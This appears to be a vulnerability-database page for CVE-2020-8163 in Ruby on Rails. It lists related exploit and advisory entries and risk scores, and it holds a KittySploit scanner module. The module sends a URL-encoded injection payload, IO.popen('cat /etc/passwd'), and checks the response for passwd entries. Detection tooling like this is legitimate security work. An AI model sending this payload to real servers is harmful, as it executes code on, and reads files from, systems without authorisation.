Ruby on Rails <5.0.1 - Remote Code Execution Detection
| Reporter | Title | Published | Views | Family All 50 |
|---|---|---|---|---|
| Rails 5.0.1 - Remote Code Execution Exploit | 27 Jul 202000:00 | – | zdt | |
| Exploit for Code Injection in Rubyonrails Rails | 19 Jun 202021:03 | – | githubexploit | |
| Exploit for Code Injection in Rubyonrails Rails | 18 Jul 202018:42 | – | githubexploit | |
| Exploit for Code Injection in Rubyonrails Rails | 19 Jun 202021:03 | – | githubexploit | |
| Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in Rails | 18 Jul 202006:08 | – | ibm | |
| CVE-2020-8163 | 2 Jul 202019:15 | – | attackerkb | |
| Ruby on Rails Module Delegation Heap Buffer Overflow DoS | 15 Mar 202100:00 | – | bdu_fstec | |
| Rails -- remote code execution vulnerability | 15 May 202000:00 | – | freebsd | |
| CVE-2020-8163 | 24 Jun 202008:55 | – | circl | |
| Ruby on Rails Remote Code Execution Vulnerability (CNVD-2020-34451) | 19 May 202000:00 | – | cnvd |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby on Rails before version 5."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Ruby on Rails <5.0.1 - Remote Code Execution Detection',
'description': 'Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'rails', 'rce', 'hackerone', 'rubyonrails', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://hackerone.com/reports/304805',
'https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0',
'https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html',
'https://nvd.nist.gov/vuln/detail/CVE-2020-8163',
],
'cve': 'CVE-2020-8163',
}
def run(self):
r = self.http_request(method="GET", path='/?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="Ruby on Rails <5.0.1 - Remote Code Execution detected",
path='/?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23',
)
return True
return False
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28 Jul 2026 11:27Current
8.2High risk
Vulners AI Score8.2
CVSS 26.5
CVSS 3.18.8
EPSS0.82047